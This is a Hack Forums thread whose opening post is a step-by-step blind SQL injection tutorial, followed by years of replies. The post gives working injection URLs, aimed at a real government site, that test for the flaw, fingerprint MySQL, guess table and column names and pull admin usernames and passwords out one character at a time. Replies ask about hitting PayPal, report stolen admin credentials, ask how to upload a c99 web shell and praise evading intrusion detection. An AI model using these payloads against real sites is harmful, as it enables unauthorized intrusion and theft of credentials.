

Forum:[Hack Forums](#)

Thread: [blind sql injection "detailed tutorial"](#)

Nerv - March 6, 2009, 8:19 pm

blind sql injection

if you dont know about mysql injection turn around and learn it b4 u even consider learning this because this is a whole different story.

1. test for vulnerability

so you have a site lets say :

Code `www.cia.gov/news.php?id=1` just like normal mysql injection

but for blind you put

Code `www.cia.gov/news.php?id=1 and 1=2` if you see any text from the page missing

or an error message like invalid id or db_error select * from xxxx@localhost call line "/" or anything like that

then its vuln

this works

because `1=2` is always false

you see if it was

Code `www.cia.gov/index.php?id=1 and 1=1` then you would get the normal page

because `1=1` is always true

2. mysql version

to find mysql version you need to do this query

Code `www.cia.gov/index.php?id=1 and substring(@@version,1,1)=4` if the pages comes back true then the version is 4

if not then try

Code `www.cia.gov/index.php?id=1 and substring(@@version,1,1)=5` if it comes back true then its a version 5

3. fuzzing tables and columns

to find the table name you need to guess it

so...

here is the query

Code `www.cia.gov/news.php?id=1 and (SELECT 1 from admin limit 0,1)=1` i have guessed the table admin if the page loads true then the table exists

eg. the table name is administrator

and we try

Code `(SELECT 1 from users limit 0,1)=1` then it will return with an error a.k.a. false

but if we did

Code `(SELECT 1 from administrator limit 0,1)=1` then it would not error a.k.a. true

now for the column

so the table is administrator

and we found that by fuzzing

now we need the column name

we fuzz it by

Code `www.cia.gov/news.php?id=1 and (SELECT substring(concat(1,password),1,1) from administrator limit 0,1)=1` if the column password exists then it wont error
you get my drift...

4. extracting password with ascii

so now we have the table/column we need to extract

well as you know it wont just pop up on the screen

we will need to use the ancii char

Code `www.cia.gov/news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from administrator where userid=2),1,1))>99` if this returns true then you need to go higher

Code `news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>103` if this errors then its not greater than 103 and greater than/or 99

now try

Code `news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>100` no error then its greater than 99 and not greater than 103

higher

Code `news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>101` error

so its greater than 99 but not greater than 101

higher

Code `news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>100` error

so its greater than 99 but not greater than 100 making it 100

the first character of the password is 100 which if u put into an ascii converter you will see that it is the letter d

now you need to find the next character

Code `news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>60` notice how i did where userid=1),2,1))>60 instead of 1,1

so this will be doing the second character

so keep extracting characters untill u get an error

then u will have the hash / password

Uchiha-Itachi - March 6, 2009, 10:30 pm

This is the best SQL Injection tut i've ever seen

Thanks Man

Nerv - March 6, 2009, 10:32 pm

thanks :D

[short message]

[VERY SHORT]

holyboy94 - March 7, 2009, 4:15 am

hey does this work for paypal??or for www.runescape.com

Anarchy93 - March 8, 2009, 2:57 pm

Thanx for the tut man, really nice.

Nerv - March 10, 2009, 9:01 pm

(Mar 7, 2009 05:15 AM)holyboy94 Wrote: [\[CITE\]](#) hey does this work for paypal??or for www.runescape.comthankyou whoever banned him ?

doomster - March 11, 2009, 6:18 am

Thanks For Sharing Brilliant Tutorial

Vebedot - March 11, 2009, 7:49 am

I don't get it, but looks good! ^^

(Im a noob at SQL)

Nerv - March 11, 2009, 12:54 pm

lol u need 2 learn mysql injection first

:D

then once u know that then u can do blind

doomster - March 11, 2009, 1:02 pm

Yap..You Need To Learn First..I Learned It From W3schools.com/sql

Nerv - March 11, 2009, 10:02 pm

lol <http://furious.jw.lt/> has been fixed

sw0rdy - March 11, 2009, 10:11 pm

anywayz, i got the admin user:pass for 1 web. but i cant find admin control panel. any way to upload c99 directly?

Nerv - March 11, 2009, 10:13 pm

yes there is but that is saved for the advanced sql injection tutorial i am working on

zeroclass - May 13, 2009, 8:47 am

Very nice tut! :)

thanks for this! :)

more! pls. more!!! :)

Illuminati - May 14, 2009, 3:09 pm

I dig!

Theres a really good Blind SQL video on milw0rm as I type

If this got you interested check that out for a visual explanation.

/grats on the tut though man

r0ninl33t - May 15, 2009, 12:29 am

Very nice tut. Lets work on a tut for blind sql injection technique that utilises the timing attack.

skatetopia - May 15, 2009, 4:57 pm

Nice tutorial.

[TOO SHORT]

CustomSync - May 17, 2009, 12:49 am

That's why I didn't understand a word of this... Because idk anything about sql injection except 1'or'1='1 FTW

safin_hawlery - May 19, 2009, 8:53 pm

It is a nice tut, we r waiting for u to learn how to blind it.

sqbox12 - June 8, 2009, 2:28 pm

cool tutorial :) wish i knew more computers seems interesting

ptersa - June 8, 2009, 3:20 pm

Nice tutorial... Keep it up!

Vlatko - June 8, 2009, 3:36 pm

nice dude simple but nice tut...

Glitchezz - June 9, 2009, 8:16 am

Thanks man!

May seem like a silly question and i will learn mysql injection after i ask but can you choose any website to do this too?

someone pm me the answer please

pakalolo987 - June 9, 2009, 7:54 pm

Another great tuto from Mr dan1el, thanx dude.

rayven18 - August 5, 2009, 3:15 am

lol man dont use cia.gov as examble....nice tut then.

xxfirexx - August 5, 2009, 3:39 pm

really i like the blind sql attaque because administrator can't see anything fuck IDS system

Nerv - August 7, 2009, 8:02 pm

why not use cia.gov as an example

its not like they are actually gonna think they have vulns on their site

and they dont give a flying fuck about me

but anyway thanks everyone

+rep!!!

Zuaro - August 8, 2009, 9:02 am

Thanks I was searching for this. Nice explanation.

KiiNG - August 22, 2009, 7:34 pm

this is going to make me sound like a huge n0oOb... but I am not to all hacking.

Once learned SQLi is this a better technique if you can learn it, because its almost 100% stealth until you login ?

Also do I need to know MySQL for SQLi

and last but not least,

who knows a n0oOb friendly tutorial/how long will it take to learn.

THANK YOU TO WHOEVER ANSWERS

and PM me the answer. MUCH THANKS

baluk - August 26, 2009, 4:29 am

Really very nice tutorial. i got good understanding of sql injection.

HACKER-FUN - January 31, 2010, 2:17 pm

thanks man for tut

nice tut

133720 - February 1, 2010, 5:22 am

(Jan 31, 2010 03:17 PM)HACKER-FUN Wrote: [\[CITE\]](#) thanks man for tut

nice tut

me too

Too shot

memate - February 3, 2010, 2:24 pm

what about sites that doesn't support union ?

Prugee - February 22, 2010, 10:27 am

Nice man , but I don't understand that , how can I convert the numbert 100 and to get the lettter d , can you tell me this , PLEASEE , and give me the convertot ?????
PLEASE ..

Prugee - February 22, 2010, 11:45 am

I fix this problem .. THNX ...

MenTaL_hax0r - February 25, 2010, 7:17 am

Nice tutorial thx!

I don't understand 1 thing though -
here:

Code `www.cia.gov/news.php?id=1` and `(SELECT substring(concat(1,password),1,1) from administrator limit 0,1)=1`

Why is substring and concat required? What does `substring(concat(1,password),1,1)` evaluate to?
Instead of that can't we use just this... ?

Code `www.cia.gov/news.php?id=1` and `(SELECT password from administrator limit 0,1)=1`

nacker - February 26, 2010, 3:50 am

I think that is server related and how it's configured. Try finding some site and give it a go.

hard - February 27, 2010, 2:30 am

hi,

its good but i can't understand that how it execute the command

stratos8765 - February 27, 2010, 5:07 am

Nice TuT bro!:)

Thnx!

MenTaL_hax0r - February 27, 2010, 9:34 am

(Feb 26, 2010 04:50 AM)nacker Wrote: [\[CITE\]](#) I think that is server related and how it's configured.
Try finding some site and give it a go.

I did give it a go at a site. And the one I suggested does not work. Thats why I am all the more curious.

One more questions:

To run UPDATE query, shouldn't this work:

Code `www.cia.gov/news.php?id=1 and (UPDATE sometable SET score=12 WHERE id=3)>0`
It doesn't work on a site.

Dark. - February 27, 2010, 10:34 am

(Mar 7, 2009 05:15 AM)holyboy94 Wrote: [\[CITE\]](#) hey does this work for paypal??or for www.runescape.com
Wow, just wow.

nacker - February 27, 2010, 11:08 am

(Feb 27, 2010 10:34 AM)MenTaL_hax0r Wrote: [\[CITE\]](#) One more questions:
To run UPDATE query, shouldn't this work:
Code `www.cia.gov/news.php?id=1 and (UPDATE sometable SET score=12 WHERE id=3)>0`
It doesn't work on a site.
That will not work. >0 is used with ascii when u try to detect character in char. For a blind injection i don't really tried to UPDATE table info, but i think that u can modify your query and try it out, sorry that i couldn't help more.

MenTaL_hax0r - February 27, 2010, 11:34 pm

I'm using >0 because the UPDATE query returns the no. of rows affected.

v4n1ty - February 27, 2010, 11:36 pm

well blind sql injection doesn't shows the error... so it would probably be helpful when its visible

deepz - February 27, 2010, 11:41 pm

thnx bro
2shortttttttttt

pingo23 - April 27, 2010, 6:56 am

tnx, it's very useful tutorial...

wakekitty - June 6, 2010, 8:59 am

i manages to gather the username using above instruction, but im wondering what should i change to get the hashed password?

Code `http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105`

Error 403 - forbidden - August 18, 2010, 6:12 am

Thanks bro just what ive been looking for

razkid - August 18, 2010, 7:06 am

please make that topic pinned!

nacker - August 18, 2010, 10:41 am

I keep it bookmarked. It should get pinned tho.

Error 403 - forbidden - August 22, 2010, 1:32 pm

(Mar 7, 2009 05:15 AM)holyboy94 Wrote: [\[CITE\]](#) hey does this work for paypal??or for www.runescape.comloool You made my day hahaha p,s are you 8 years old@

Error 403 - forbidden - August 24, 2010, 3:29 am

Thanks man, really good tutorial

4n0nym0us - August 24, 2010, 2:25 pm

good it will learn the 1337 H4X0RS on Hf how to sqli

Jukka90 - October 25, 2010, 6:25 am

What should I try if there isn't column userid in admin table?

Burnzy - October 26, 2010, 2:26 am

i will try but i never got luck with injections :S

ravi125689 - January 4, 2011, 2:28 am

greate tutorial i was in need of this tutorial

ForgotenMemories - January 18, 2011, 11:47 am

Your fucking idiot"s.

Trying to hack into CIA.Gov? Dick's.
Stupid tut.

\Nick

Rustynails - January 18, 2011, 12:32 pm

Appreciate the tutorial, was helpful.

Bask - January 19, 2011, 10:06 am

Ahhhh now i understand ?

Thank you :) ?

saudakur - January 26, 2011, 2:02 am

(Jan 18, 2011 12:47 PM)ForgotenMemories Wrote: [\[CITE\]](#) Your fucking idiot"s.

Trying to hack into CIA.Gov? Dick's.
Stupid tut.

\Nick

You dont have scense for humor and you are so fucking stipid.

kidthanh86 - January 26, 2011, 9:53 am

so i wish bro can use print images for tut. newbie can lear easy.. same me...

hehe.. Do Bro use Yahoo ?? i can add your nick.

Thanks bro

sumit8510 - January 26, 2011, 11:00 am

Hey bro.

This is awesome tut.

Thank you so much.

SQLinjectionisfun - March 22, 2011, 11:12 am

I can do normal MySQL version 4 and 5 but I really struggle with blind SQL ?

killercrew2004 - March 22, 2011, 5:27 pm

thanks, now things are getting interesting:)

Blizz - April 19, 2011, 5:01 am

Cool i like it keep it up.

asifali2000 - April 30, 2011, 9:45 am

nice tutorial its best for learning

Motusora - May 23, 2011, 5:54 am

:D

L1LJM0n3y - July 20, 2011, 6:16 pm

Hey good tutorial but i have a quick question... sorry if its stupid but is there a certain time where you should use blind sqli instead of regular sqli. And if so can you tell me when you would use blind sqli? Thanks

Stoneman420 - August 4, 2011, 12:28 pm

Hahaha wow this seems to be very time consuming! But seems like it should work well! Great tut!

Kitty - September 17, 2011, 2:06 pm

oh wow, i'll never guess the tablez T_T thanks for the tut =)

blazer14 - September 19, 2011, 6:47 am

nice man very useful tutorial and it needs some stars on the thread

mavenkp - October 15, 2013, 12:35 pm

Good tutorial on blind injection... Thanks